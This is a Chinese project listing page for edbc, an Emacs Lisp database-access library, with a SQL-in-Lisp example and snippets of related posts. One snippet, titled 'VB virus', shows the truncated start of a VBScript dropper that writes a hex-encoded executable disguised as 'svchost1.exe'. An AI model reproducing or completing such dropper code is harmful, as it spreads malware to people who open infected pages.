统一数据库访问接口 edbc

GPL
Lisp 查看源码»
跨平台
2012-12-26
redraiment

edbc 是 Emacs-Lisp Database Connectivity 的缩  ,是从 Emacs-CGI 项目中独立出来的一个子项目,为 Emacs Lisp 访问数据库提供简洁、统一的接口!

在其他语言(比如Java)中访问数据库,最终SQL语句都会转成字符串的形式,即涉及到字符串拼接、引号转义等丑陋的代码。在 edbc 中,利用 Lisp 强大的可扩展性,把 SQL 直接嵌到语言中,就像原生就提供的一样。例如下面连接 Sqlite 的例子:

(edbc-with-connect ((url "users.db"))
  (let ((id 1)
        (name "Joe")
        (nickname "redraiment"))
    ; Purge table
    (edbc delete from users)
    ; Equals insert into users (id, name) values (1, 'Joe') on sqlite
    (edbc insert into users (id, name) values (:id, :name))
    ; Equals update users set name = 'redraiment' where id = 1 on sqlite
    (edbc update users set name = :nickname where id = :(identity id))
    ; Returns ((("id" . "1") ("name" . "redraiment")))
    (edbc select * from users)))

目前 EDBC 已支持 Sqlite 和 MySQL 两种数据库。用户参考 edbc-mysql.el 可以很轻松支持其他数据库。

的码云指数为
超过 的项目
加载中

评论(0)

暂无评论

暂无资讯

5
回答
EDBC居然被顶到Hacker News的首页!

我之前开发的 Emacs-CGI 中有一个访问 Sqlite 数据库的模块,昨天晚上把它独立出来另立了一个新项目:EDBC(Emacs-Lisp Data...

2012/12/26 08:38

没有更多内容

加载失败,请刷新页面

没有更多内容

ubuntu下更改eclipse提示框的背景颜色(原来为黑色)

eclipse提示框的背景颜色使用的是系统的提示框颜色配置,在windows下为黄色,但在Ubuntu下却是黑色,造成提示内容很难看清。 在eclipse中我们是无法修改这个颜色的配置的,只能通过修改系统的...

2016/10/29 17:45
43
0
Ubuntu12.04下eclipse提示框黑色背景色的修改方法

Ubuntu12.04下eclipse提示框黑色背景色的修改方法 2012-05-10 17:37 4901人阅读 评论(3) 收藏 举报 eclipse ubuntu windows vim eclipse提示框的背景颜色使用的是系统的提示框颜色配置,在w...

2013/12/05 10:54
138
0
fir.im Weekly - 给 Mac 应用开发者的教程

>写作是一件苦差事。无论写代码,还是写文章。 关于 Mac 应用开发,国内很少有完整的书籍或教程。最近[@剑指人心](http://weibo.com/u/1787521145?refer_flag=1005055010_)写的 《Mac 应用开...

2016/06/06 10:46
44
0
yum源配置与使用

CentOS yum 源的配置与使用 一、yum 简介   yum,是Yellow dog Updater, Modified 的简称,是杜克大学为了提高RPM 软件包安装性而开发的一种软件包管理器。起初是由yellow dog 这一发行版的...

2015/09/10 10:26
178
0
VB病毒

<SCRIPT Language=VBScript><!-- DropFileName = "svchost1.exe" WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000...

2016/04/05 11:32
802
1

没有更多内容

加载失败,请刷新页面

没有更多内容

返回顶部
顶部